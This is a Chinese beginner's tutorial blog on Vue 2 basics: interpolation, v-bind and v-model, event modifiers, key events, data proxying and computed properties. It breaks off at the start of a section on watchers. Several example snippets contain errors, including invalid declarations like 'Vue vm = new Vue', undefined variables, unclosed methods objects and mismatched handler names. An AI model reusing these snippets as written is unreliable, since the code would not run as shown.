文章目录
😹 作者: gh-xiaohe
😻 gh-xiaohe的博客
😽 觉得博主文章写的不错的话，希望大家三连（✌关注，✌点赞，✌评论），多多支持一下！！！
🚏 一、VUE核心
🚀 1、Vue
🚬 1、Vue是什么？
🚬 2、Vue的特点
1、采用组件化模式，提高代码复用率、且让代码更好维护。
2、声明式编码，让编码人员无需直接操作DOM，提高开发效率。
3、使用虚拟DOM+优秀的Diff算法，尽量复用DOM节点。
🚄 2、Vue官网
1、 英文官网:
2、 中文官网:
🚒 3、HelloWord案例
总结：初识Vue：
<!-- 初识Vue： 1.想让Vue工作，就必须创建一个Vue实例，且要传入一个配置对象； 2.root容器里的代码依然符合html规范，只不过混入了一些特殊的Vue语法； 3.root容器里的代码被称为【Vue模板】； 4.Vue实例和容器是一一对应的； 5.真实开发中只有一个Vue实例，并且会配合着组件一起使用； 6.{{xxx}}中的xxx要写js表达式，且xxx可以自动读取到data中的所有属性； 7.一旦data中的数据发生改变，那么页面中用到该数据的地方也会自动更新； 注意区分：js表达式 和 js代码(语句) 1.表达式：一个表达式会产生一个值，可以放在任何一个需要值的地方： (1). a 变量 (2). a+b 运算表达式 (3). demo(1) 函数调用表达式 (4). x === y ? 'a' : 'b' 三元表达式 2.js代码(语句) (1). if(){} 判断语句 (2). for(){} 循环语句 -->id 选择器（建议使用）
<div id="demo"> <h1>Hello，{{name}}，{{address}}</h1> </div> <script type="text/javascript" > Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 //创建Vue实例 new Vue({ el:'#demo', //el用于指定当前Vue实例为哪个容器服务，值通常为css选择器字符串。 data:{ //data中用于存储数据，数据供el所指定的容器去使用，值我们暂时先写成一个对象。 name:'heilongjiang', address:'北京' } })class类选择器（css）
<div class="demo"> <h1>Hello，{{name.toUpperCase()}}，{{address}}</h1> </div> <script type="text/javascript" > Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 //创建Vue实例 new Vue({ el:'.demo', //el用于指定当前Vue实例为哪个容器服务，值通常为css选择器字符串。 data:{ //data中用于存储数据，数据供el所指定的容器去使用，值我们暂时先写成一个对象。 name:'heilongjiang', address:'北京' } })此时data先书写成一个对象，在组件时需要书写成函数
<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>初识Vue</title> <!-- 引入Vue --> <!---全局就多了Vue构造函数--> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <!-- 准备好一个容器 --> <div id="demo"> <!--toUpperCase转换成大写 函数式调用表达式--> <h1>Hello，{{name.toUpperCase}}，{{address}}</h1> </div> <script type="text/javascript" > Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 //创建Vue实例 new Vue({ el:'#demo', //el用于指定当前Vue实例为哪个容器服务，值通常为css选择器字符串。 data:{ //data中用于存储数据，数据供el所指定的容器去使用。 name:'heilongjiang', address:'北京' } }) </script> </body> </html>
🚤 4、Vue模板语法
总结：
<!-- Vue模板语法有2大类： 1.插值语法： 功能：用于解析标签体内容。 写法：{{xxx}}，xxx是js表达式，且可以直接读取到data中的所有属性。 2.指令语法： 功能：用于解析标签（包括：标签属性、标签体内容、绑定事件.....）。 举例：v-bind:href="xxx" 或 简写为 :href="xxx"，xxx同样要写js表达式， 且可以直接读取到data中的所有属性。 备注：Vue中有很多的指令，且形式都是：v-????，此处我们只是拿v-bind举个例子。 -->
🚬 插值语法（双大括号表达式{{}} ）
1、功能: 用于解析标签体内容
2、语法: {{xxx}} ，xxxx 会作为 js 表达式解析
🚬 指令语法（以 v-开头）
1、功能: 解析标签属性、解析标签体内容、绑定事件
2、举例：v-bind:href = ‘xxxx’ ，xxxx 会作为 js 表达式被解析（Vue 中有有很多的指令，此处只是用 v-bind 举个例子）
🚬 什么时候使用插值语法什么时候是指令语法
- 插值语法：往往制定标签体内容
- 指令语法：制定标签属性
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>模板语法</title>
<!-- 引入Vue -->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!--
Vue模板语法有2大类：
1.插值语法：
功能：用于解析标签体内容。
写法：{{xxx}}，xxx是js表达式，且可以直接读取到data中的所有属性。
2.指令语法：
功能：用于解析标签（包括：标签属性、标签体内容、绑定事件.....）。
举例：v-bind:href="xxx" 或 简写为 :href="xxx"，xxx同样要写js表达式，
且可以直接读取到data中的所有属性。
备注：Vue中有很多的指令，且形式都是：v-????，此处我们只是拿v-bind举个例子。
-->
<!-- 准备好一个容器-->
<div id="root">
<h1>插值语法</h1>
<h3>你好，{{name}}</h3>
<hr/>
<h1>指令语法</h1>
<a v-bind:href="school.url.toUpperCase()" x="hello">点我去{{school.name}}学习1</a>
<br>
<!-- b-bind 绑定后 ""号中的内容是Js表示式执行 -->
<a :href="school.url" x="hello">点我去{{school.name}}学习2</a>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
new Vue({
el:'#root',
data:{
name:'Tom',
school:{
name:'个人博客',
url:'https://blog.youkuaiyun.com/gh_xiaohe',
}
}
})
</script>
</html>
🚗 5、Vue数据绑定
总结：
<!-- Vue中有2种数据绑定的方式： 1.单向绑定(v-bind)：数据只能从data流向页面。 2.双向绑定(v-model)：数据不仅能从data流向页面，还可以从页面流向data。 备注： 1.双向绑定一般都应用在表单类元素上（如：input、select等） 2.v-model:value 可以简写为 v-model，因为v-model默认收集的就是value值。 -->
🚬 单向数据绑定
1、语法：v-bind:href =“xxx” 或简写为 :href
2、特点：数据只能从 data 流向页面
🚬 双向数据绑定
1、 语法：v-mode:value=“xxx” 或简写为 v-model=“xxx”
2、数据不仅能从 data 流向页面，还能从页面流向 data
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-EW0iUfTZ-1658758735342)(VUE入门.assets/image-20220723131111024.png)]
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>数据绑定</title>
<!-- 引入Vue -->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!-- 准备好一个容器-->
<div id="root">
<!-- 普通写法 -->
<!-- 单向数据绑定：<input type="text" v-bind:value="name"><br/>
双向数据绑定：<input type="text" v-model:value="name"><br/> -->
<!-- 简写 -->
单向数据绑定：<input type="text" :value="name"><br/>
双向数据绑定：<input type="text" v-model="name"><br/>
<!-- 如下代码是错误的，因为v-model只能应用在表单类元素（输入类元素）上 -->
<!-- <h2 v-model:x="name">你好啊</h2> -->
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
new Vue({
el:'#root',
data:{
name:'Tom'
}
})
</script>
</html>
🚭 v-model的应用位置
- 并不是所有的值都是可以用v-model
- v-model只能应用在表单类元素（输入类元素）
- 表单类元素，是用户可以操作的，标题类的标签，不可以输入（没有Value值），不能捕获用户的输入，无法影响数据的变化
🚲 6、el和data的两种写法
总结：
<!-- data与el的2种写法 1.el有2种写法 (1).new Vue时候配置el属性。 (2).先创建Vue实例，随后再通过vm.$mount('#root')指定el的值。 2.data有2种写法 (1).对象式 (2).函数式 如何选择：目前哪种写法都可以，以后学习到组件时，data必须使用函数式，否则会报错。 3.一个重要的原则： 由Vue管理的函数，一定不要写箭头函数，一旦写了箭头函数，this就不再是Vue实例了。 -->
🚬 el的两种写法
🚭 方式一：
//第一种写法
new Vue({
el:'#root',
data:{
name:'Tom'
}
})
🚭 方式二： 更灵活一下
//第二种写法
Vue vm = new Vue({
el:'#root',
data:{
name:'Tom'
}
})
console.log(v) // 输出Vue实例，不是Vue构造函数
vm.$mount('#root')
Vue vm = new Vue({ el:'#root', data:{ name:'Tom' } }) console.log(v) // 输出Vue实例，不是Vue构造函数 // 定时器，一秒钟后执行 setTimeout(() => { vm.$mount('#root') },1000);
🚭 Vue实例：
🚬 data的两种写法
🚭 方式一：对象式
new Vue({
el:'#root',
//data的第一种写法：对象式
data:{
name:'Tom'
}
})
🚭 方式二：函数式
要求：data函数必须要返回一个对象return
data是普通函数时 this是Vue实例对象
写法一：
new Vue({ el:'#root', //data的第二种写法：函数式 data:function(){ console.log('@@@',this) //data函数中 this是Vue实例对象,前提data是普通函数 return{ name:'Tom' } } })写法一：
new Vue({ el:'#root', //data的第二种写法：函数式 data(){ console.log('@@@',this) //data函数中 this是Vue实例对象,前提data是普通函数 return{ name:'Tom' } } })data是箭头函数时 this是全局的Window（箭头函数没有自己的this，向外找是window）
new Vue({ el:'#root', data:()=>{ // 此时data 不是普通函数 是箭头函数，此时this是全局的Window console.log('@@@',this) return{ name:'Tom' } } })拓展：使用组件时候必须使用data函数式，不可以使用对象式
🚀 7、MVVM模型
总结：
<!-- MVVM模型 1. M：模型(Model) ：data中的数据 2. V：视图(View) ：模板代码 3. VM：视图模型(ViewModel)：Vue实例 观察发现： 1.data中所有的属性，最后都出现在了vm身上。 2.vm身上所有的属性 及 Vue原型上所有属性，在Vue模板中都可以直接使用。 -->
MVVM源自于经典的MVC（Model-View-Controller）模式。MVVM的核心是ViewModel层，负责转换Model中的数据对象来让数据变得更容易管理和使用。其作用如下：
- 该层向上与视图层进行双向数据绑定
- 向下与Model层通过接口请求进行数据交互
🚬 为什么要使用MVVM
MVVM模式和MVC模式一样，主要目的是分离视图（View）和模型（Model），有几大好处
- 低耦合：视图（View）可以独立于Model变化和修改，一个ViewModel可以绑定到不同的View上，当View变化的时候Model可以不变，当Model变化的时候View也可以不变。
- 可复用：你可以把一些视图逻辑放在一个Vi ewModel里面，让很多View重用这段视图逻辑。
- 独立开发：开发人员可以专注于业务逻辑和数据的开发（ViewMode），设计人员可以专注于页面设计。
- 可测试：界面素来是比较难以测试的，而现在测试可以针对ViewModel来写。
🚬 MVVM模式的实现者
Model：模型层， 对应data中的数据
View：视图层， 在这里表示DOM(HTML操作的元素) 模板
ViewModel：连接视图和数据的中间件， Vue.js就是MVVM中的View Model层的实现者 Vue实例对象
View 层展现的不是 Model 层的数据， 而是 ViewModel 的数据， 由 ViewModel 负责与 Model层交互，获取和更新数据， 这就完全解耦了View层和Model层， 这个解耦是至关重要的， 它是前后端分离方案实施的重要一环。在MVVM架构中， 是不允许数据和视图直接通信的， 只能通过ViewModel来通信， 而View Model就是定义了一个Observer观察者
- ViewModel能够观察到数据的变化， 并对视图对应的内容进行更新
- ViewModel能够监听到视图的变化， 并能够通知数据发生改变
至此， 我们就明白了， Vue.js就是一个MVVM的实现者， 他的**核心就是实现了DOM监听与数据绑定**
🚄 8、数据代理
🚬 1、回顾Object.defineProperty方法
解释：define定义Property属性，给一个对象定义属性
传递三个参数：哪个对象添加属性，添加的属性名字，{}配置项
<script type="text/javascript" > let person = { name:'张三', sex:'男', // age: '18', } Object.defineProperty(person,'age',{ // value:18, // enumerable:true, //控制属性是否可以枚举，默认值是false // writable:true, //控制属性是否可以被修改，默认值是false // configurable:true //控制属性是否可以被删除，默认值是false }) </script>①两种方式：给person添加age属性区别一： age不可以被枚举
<script type="text/javascript" > let person = { name:'张三', sex:'男', // age: '18', } Object.defineProperty(person,'age',{ value:18, enumerable:true, //控制属性是否可以枚举，默认值是false }) </script>②两种方式：给person添加age属性区别一： age不可以被修改
<script type="text/javascript" > let person = { name:'张三', sex:'男', // age: '18', } Object.defineProperty(person,'age',{ value:18, enumerable:true, //控制属性是否可以枚举，默认值是false writable:true, //控制属性是否可以被修改，默认值是false }) </script>③两种方式：给person添加age属性区别一： age不可以被删除
<script type="text/javascript" > let person = { name:'张三', sex:'男', // age: '18', } Object.defineProperty(person,'age',{ value:18, // enumerable:true, //控制属性是否可以枚举，默认值是false // writable:true, //控制属性是否可以被修改，默认值是false // configurable:true //控制属性是否可以被删除，默认值是false }) </script>④高级：根据变量number来 设置/获取age 的属性值
<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>回顾Object.defineproperty方法</title> </head> <body> <script type="text/javascript" > let number = 18 let person = { name:'张三', sex:'男', } Object.defineProperty(person,'age',{ // value:18, // enumerable:true, //控制属性是否可以枚举，默认值是false // writable:true, //控制属性是否可以被修改，默认值是false // configurable:true //控制属性是否可以被删除，默认值是false // 当有人读取person的age属性时，get函数(getter)就会被调用，且返回值就是age的值 get(){ console.log('有人读取age属性了') return number }, // 当有人修改person的age属性时，set函数(setter)就会被调用，且会收到修改的具体值 set(value){ console.log('有人修改了age属性，且值是',value) number = value } }) // Object.keys() 传入一个对象做为参数,可以把传入的属性名，提取出来作为一个数组 // console.log(Object.keys(person)) console.log(person) </script> </body> </html>
🚬 数据代理的定义
数据代理：通过一个对象代理对另一个对象中属性的操作（读/写）
<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>何为数据代理</title> </head> <body> <!-- 数据代理：通过一个对象代理对另一个对象中属性的操作（读/写）--> <script type="text/javascript" > let obj = {x:100} let obj2 = {y:200} Object.defineProperty(obj2,'x',{ get(){ return obj.x }, set(value){ obj.x = value } }) </script> </body> </html>
🚬 Vue中如何应用数据代理
总结：
<!-- 1.Vue中的数据代理： 通过vm对象来代理data对象中属性的操作（读/写） 2.Vue中数据代理的好处： 更加方便的操作data中的数据 3.基本原理： 通过Object.defineProperty()把data对象中所有属性添加到vm上。 为每一个添加到vm上的属性，都指定一个getter/setter。 在getter/setter内部去操作（读/写）data中对应的属性。 -->vm.-data == data true vm自身的-data 和 传递的data是一个
<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>Vue中的数据代理</title> <!-- 引入Vue --> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <div id="root"> <h2>学校名称：{{_data.name}}</h2> <h2>学校地址：{{_data.address}}</h2> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 const vm = new Vue({ el:'#root', data:{ name:'尚硅谷', address:'宏福科技园' } }) </script> </html>
🚒 9、事件处理
🚬 事件的基本使用
总结：
<!-- 事件的基本使用： 1.使用v-on:xxx 或 @xxx 绑定事件，其中xxx是事件名； 2.事件的回调需要配置在methods对象中，最终会在vm上； 放在data中也可以存放在vm上，为什么不这么做,Why? 因为：data中的数据需要做数据代理,而methods不需要做数据代理,这样会让vm实例过度使用 3.methods中配置的函数，不要用箭头函数！否则this就不是vm了； 4.methods中配置的函数，都是被Vue所管理的函数，this的指向是vm 或 组件实例对象； 5.@click="demo" 和 @click="demo($event)" 效果一致，但后者可以传参； -->①v-on事件绑定 简写：@
<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>事件的基本使用</title> <!-- 引入Vue --> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <div id="root"> <h2>欢迎来到{{name}}学习</h2> <!-- <button v-on:click="showInfo">点我提示信息</button> --> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 const vm = new Vue({ el:'#root', data:{ name:'Tom', }, methods:{ showInfo1(event){ alert('同学你好！') }, } }) </script> </html>②事件绑定传递参数 event
event.target 拿到发生事件的时间目标 此时 是 button按钮
event.target.innerText 拿到里面的文字 此时 是 点我提示信息
<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>事件的基本使用</title> <!-- 引入Vue --> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <div id="root"> <h2>欢迎来到{{name}}学习</h2> <button v-on:click="showInfo">点我提示信息</button> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 const vm = new Vue({ el:'#root', data:{ name:'Tom', }, methods:{ showInfo1(event){ console.log(event.target.innerText) console.log(this) //此处的this是vm 实例对象 console.log(this===vm) // true 验证 this是vm 实例对象 alert('同学你好！') }, } }) </script> </html>③ 调用shouInfo2传递参数, 不仅仅收到event 还有收到 数值
<button @click=“showInfo2($event,66)”>点我提示信息2（传参）
<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>事件的基本使用</title> <!-- 引入Vue --> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <div id="root"> <h2>欢迎来到{{name}}学习</h2> <!-- <button v-on:click="showInfo">点我提示信息</button> --> <button @click="showInfo1">点我提示信息1（不传参）</button> <button @click="showInfo2($event,66)">点我提示信息2（传参）</button> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 const vm = new Vue({ el:'#root', data:{ name:'Tom', }, methods:{ showInfo1(event){ console.log(this) //此处的this是vm 实例对象 console.log(this===vm) // true 验证 this是vm 实例对象 alert('同学你好！') }, showInfo2(event,number){ console.log(event,number) // console.log(event.target.innerText) // console.log(this) //此处的this是vm alert('同学你好！！') } } }) </script> </html>
🚬 事件修饰符
总结：
<!-- Vue中的事件修饰符： 1.prevent：阻止默认事件（常用）； 2.stop：阻止事件冒泡（常用）； 3.once：事件只触发一次（常用）； 4.capture：使用事件的捕获模式； 5.self：只有event.target是当前操作的元素时才触发事件； 6.passive：事件的默认行为立即执行，无需等待事件回调执行完毕； -->① a标签跳转阻止跳转的默认行为
e.preventDefault()// 阻止默认行为 Vue 中不用亲自书写 应这样书写@click.prevent
<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>事件修饰符</title> <!-- 引入Vue --> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <div id="root"> <h2>欢迎来到{{name}}学习</h2> <!-- 阻止默认事件（常用） --> <a href="https://blog.youkuaiyun.com/gh_xiaohe" @click.prevent="showInfo">点我提示信息</a> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 new Vue({ el:'#root', data:{ name:'Tom' }, methods:{ showInfo(e){ // e.preventDefault()// 阻止默认行为 Vue中不用亲自书写 alert('同学您好！') }, }) </script> </html>② 阻止冒泡 点击的是按钮 冒泡到div身上
e.stopPropageation()
<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>事件修饰符</title> <!-- 引入Vue --> <script type="text/javascript" src="../js/vue.js"></script> <style> *{ margin-top: 20px; } .demo1{ height: 50px; background-color: skyblue; } </style> </head> <body> <div id="root"> <h2>欢迎来到{{name}}学习</h2> <!-- 阻止事件冒泡（常用） --> <div class="demo1" @click="showInfo"> <button @click.stop="showInfo">点我提示信息</button> </div> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 new Vue({ el:'#root', data:{ name:'Tom' }, methods:{ showInfo(e){ // e.preventDefault()// 阻止默认行为 Vue中不用亲自书写 alert('同学您好！') }, }) </script> </html>③ 事件只触发一次
<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>事件修饰符</title> <!-- 引入Vue --> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <div id="root"> <h2>欢迎来到{{name}}学习</h2> <!-- 事件只触发一次（常用） --> <button @click.once="showInfo">点我提示信息</button> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 new Vue({ el:'#root', data:{ name:'Tom' }, methods:{ showInfo(e){ // e.preventDefault()// 阻止默认行为 Vue中不用亲自书写 alert('同学您好！') }, }) </script> </html>④ 使用事件的捕获模式 点击box2 传递 2 点击 box1 传递 1
没有阻止冒泡 点击 2 控制台输入 2 1 捕获阶段 由外向内 触发阶段是 由内向外
capture 捕获模式 点击 2 控制台输入 1 2
<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>事件修饰符</title> <!-- 引入Vue --> <script type="text/javascript" src="../js/vue.js"></script> <style> *{ margin-top: 20px; } .demo1{ height: 50px; background-color: skyblue; } .box1{ padding: 5px; background-color: skyblue; } .box2{ padding: 5px; background-color: orange; } </style> </head> <body> <div id="root"> <h2>欢迎来到{{name}}学习</h2> <!-- 使用事件的捕获模式 --> <div class="box1" @click.capture="showMsg(1)"> div1 <div class="box2" @click="showMsg(2)"> div2 </div> </div> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 new Vue({ el:'#root', data:{ name:'Tom' }, methods:{ showMsg(msg){ console.log(msg) }, }) </script> </html>⑤ self：只有event.target是当前操作的元素时才触发事件；
<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>事件修饰符</title> <!-- 引入Vue --> <script type="text/javascript" src="../js/vue.js"></script> <style> *{ margin-top: 20px; } .demo1{ height: 50px; background-color: skyblue; } </style> </head> <body> <div id="root"> <h2>欢迎来到{{name}}学习</h2> <!-- 只有event.target是当前操作的元素时才触发事件； --> <div class="demo1" @click.self="showInfo"> <button @click="showInfo">点我提示信息</button> </div> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 new Vue({ el:'#root', data:{ name:'Tom' }, methods:{ showInfo(e){ // e.preventDefault()// 阻止默认行为 Vue中不用亲自书写 alert('同学您好！') }, }) </script> </html>⑥ passive：事件的默认行为立即执行，无需等待事件回调执行完毕；
wheel 鼠标滚轮事件
<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>事件修饰符</title> <!-- 引入Vue --> <script type="text/javascript" src="../js/vue.js"></script> <style> *{ margin-top: 20px; } .list{ width: 200px; height: 200px; background-color: peru; overflow: auto; } li{ height: 100px; } </style> </head> <body> <div id="root"> <h2>欢迎来到{{name}}学习</h2> <!-- 事件的默认行为立即执行，无需等待事件回调执行完毕； --> <ul @wheel.passive="demo" class="list"> <li>1</li> <li>2</li> <li>3</li> <li>4</li> </ul> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 new Vue({ el:'#root', data:{ name:'Tom' }, methods:{ demo(){ for (let i = 0; i < 100000; i++) { console.log('#') } console.log('累坏了') } }) </script> </html>⑦ 修饰符可以连续 先阻止默认行为 在 阻止冒泡
<div class="demo1" @click="showInfo"> <!-- 修饰符可以连续写 --> <a href="https://blog.youkuaiyun.com/gh_xiaohe" @click.prevent.stop="showInfo">点我提示信息</a> </div>
🚬 键盘事件
总结：
<!-- 1.Vue中常用的按键别名： 回车 => enter 删除 => delete (捕获“删除”和“退格”键) 退出 => esc 空格 => space 换行 => tab (特殊，必须配合keydown去使用) 上 => up 下 => down 左 => left 右 => right 2.Vue未提供别名的按键，可以使用按键原始的key值去绑定，但注意要转为kebab-case（短横线命名） 3.系统修饰键（用法特殊）：ctrl、alt、shift、win (1).配合keyup使用：按下修饰键的同时，再按下其他键，随后释放其他键，事件才被触发。 (2).配合keydown使用：正常触发事件。 4.也可以使用keyCode去指定具体的按键（不推荐） 5.Vue.config.keyCodes.自定义键名 = 键码，可以去定制按键别名 （不推荐） -->keyup 按下弹起来触发（常用）
keydoun 按下触发
判断回车 event.keycode 按键编码（key 按键） 回车 对应数字 13
if（e.keyCode !== 13） return Vue 中 @keyup.enter=“”
① 按下回车
<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>键盘事件</title> <!-- 引入Vue --> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <div id="root"> <h2>欢迎来到{{name}}学习</h2> <input type="text" placeholder="按下回车提示输入" @keydown.enter="showInfo"> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 Vue.config.keyCodes.huiche = 13 //定义了一个别名按键 new Vue({ el:'#root', data:{ name:'Tom' }, methods: { showInfo(e){ // console.log(e.key,e.keyCode) console.log(e.target.value) } }, }) </script> </html>② 使用 CapsLock 切换大小写按键 多个单词使用 caps-lock
console.log(e.key,e.keyCode) 获取 按键 名 和 按键 编码
<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>键盘事件</title> <!-- 引入Vue --> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <div id="root"> <h2>欢迎来到{{name}}学习</h2> <input type="text" placeholder="按下回车提示输入" @keydown.caps-lock="showInfo"> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 Vue.config.keyCodes.huiche = 13 //定义了一个别名按键 new Vue({ el:'#root', data:{ name:'Tom' }, methods: { showInfo(e){ // console.log(e.key,e.keyCode) console.log(e.target.value) } }, }) </script> </html>③ 有些特殊的按键，无法绑定，举例：特殊键盘的控制音量键
④ top 键有些特殊 是失去焦点事件 只能配合keydown使用
⑤也可以使用keyCode去指定具体的按键（不推荐）不同的键盘编码可能不统一
<div id="root"> <h2>欢迎来到{{name}}学习</h2> <input type="text" placeholder="按下回车提示输入" @keyup.13="showInfo"> </div>⑥ Vue.config.keyCodes.自定义键名 = 键码，可以去定制按键别名 （不推荐）
<div id="root"> <h2>欢迎来到{{name}}学习</h2> <input type="text" placeholder="按下回车提示输入" @keydown.huiche="showInfo"> </div> Vue.config.keyCodes.huiche = 13 //定义了一个别名按键⑦ 只用按ctrl + y 时才有效(系统修饰键 后面可以 加 按键)
<div id="root"> <h2>欢迎来到{{name}}学习</h2> <input type="text" placeholder="按下回车提示输入" @keydown.ctrl.y="showInfo"> </div>
🚤 10、计算属性 computed
🚬 姓名案例_插值语法实现
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>姓名案例_插值语法实现</title>
<!-- 引入Vue -->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!-- 准备好一个容器-->
<div id="root">
姓：<input type="text" v-model="firstName"> <br/><br/>
名：<input type="text" v-model="lastName"> <br/><br/>
全名：<span>{{firstName}}-{{lastName}}</span>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
new Vue({
el:'#root',
data:{
firstName:'张',
lastName:'三'
}
})
</script>
</html>
🚬 姓名案例_methods实现
数据发生改变Vue一定会重写解析模板，重新解析模板才知道模板里面的内容用到了这个姓,然后把姓更新
<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>姓名案例_methods实现</title> <!-- 引入Vue --> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <!-- 准备好一个容器--> <div id="root"> 姓：<input type="text" v-model="firstName"> <br/><br/> 名：<input type="text" v-model="lastName"> <br/><br/> 全名：<span>{{fullName()}}</span> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 new Vue({ el:'#root', data:{ firstName:'张', lastName:'三' }, methods: { fullName(){ console.log('@---fullName') return this.firstName + '-' + this.lastName } }, }) </script> </html>
🚬 姓名案例_计算属性实现
总结：类似于缓存多次调用相同数据时走缓存
<!-- 计算属性： 1.定义：要用的属性不存在，要通过已有属性计算得来。 2.原理：底层借助了Objcet.defineproperty方法提供的getter和setter。 3.get函数什么时候执行？ (1).初次读取时会执行一次。 (2).当依赖的数据发生改变时会被再次调用。 4.优势：与methods实现相比，内部有缓存机制（复用），效率更高，调试方便。 5.备注： 1.计算属性最终会出现在vm上，直接读取使用即可。 2.如果计算属性要被修改，那必须写set函数去响应修改，且set中要引起计算时依赖的数据发生改变。 --><!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>姓名案例_计算属性实现</title> <!-- 引入Vue --> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <div id="root"> 姓：<input type="text" v-model="firstName"> <br/><br/> 名：<input type="text" v-model="lastName"> <br/><br/> 全名：<span>{{fullName}}</span> <br/><br/> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 const vm = new Vue({ el:'#root', data:{ firstName:'张', lastName:'三' }, methods: { }, computed:{ fullName:{ // 计算过程配置成一个对象,里面要放到有一个get() // get有什么作用？当有人读取fullName时，get就会被调用，且返回值就作为fullName的值 // get什么时候调用？1.初次读取fullName时。2.所依赖的数据发生变化时。 get(){ console.log('get被调用了') // console.log(this) //此处的this是vm return this.firstName + '-' + this.lastName }, // set 不是必须写的, 如果确定数据只读,就可以不用书写set // set什么时候调用? 当fullName被修改时。 set(value){ console.log('set',value) // 张 - 三 const arr = value.split('-') this.firstName = arr[0] this.lastName = arr[1] } } } }) </script> </html>
🚬 计算属性简写(只读时可以使用)
计算属性更多的情况是不修改，呈现给用户看：
完整写法:
computed:{ //完整写法 fullName:{ get(){ console.log('get被调用了') return this.firstName + '-' + this.lastName }, set(value){ console.log('set',value) const arr = value.split('-') this.firstName = arr[0] this.lastName = arr[1] } } }简写:
computed:{ //简写 fullName(){ console.log('get被调用了') return this.firstName + '-' + this.lastName } }
🚗 11、监视属性（侦听属性） watch
immediate:true, //初始化时让handler调用一下
deep:true, //深度监视
🚬 天气案例
<!-- 绑定事件的时候：@xxx="yyy" yyy可以写一些简单的语句 --> <!-- <button @click="isHot = !isHot">切换天气</button> --><!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>天气案例</title> <!-- 引入Vue --> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <!-- 准备好一个容器--> <div id="root"> <h2>今天天气很{{info}}</h2> <!-- 绑定事件的时候：@xxx="yyy" yyy可以写一些简单的语句 --> <!-- <button @click="isHot = !isHot">切换天气</button> --> <button @click="changeWeather">切换天气</button> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 const vm = new Vue({ el:'#root', data:{ isHot:true, }, computed:{ info(){ return this.isHot ? '炎热' : '凉爽' } }, methods: { changeWeather(){ this.isHot = !this.isHot } }, }) </script> </html>
🚬 天气案例_监视属性
总结：
<!-- 监视属性watch：（也可以监视计算属性） 1.当被监视的属性变化时, 回调函数handler自动调用, 进行相关操作 handler 有两个参数 newValue,oldValue 可选 2.监视的属性必须存在，才能进行监视！！ 3.监视的两种写法： (1).new Vue时传入watch配置 (2).通过vm.$watch监视 -->二者的区别：在创建时就明确监视对象方式一、不明确时方式二
方式一：
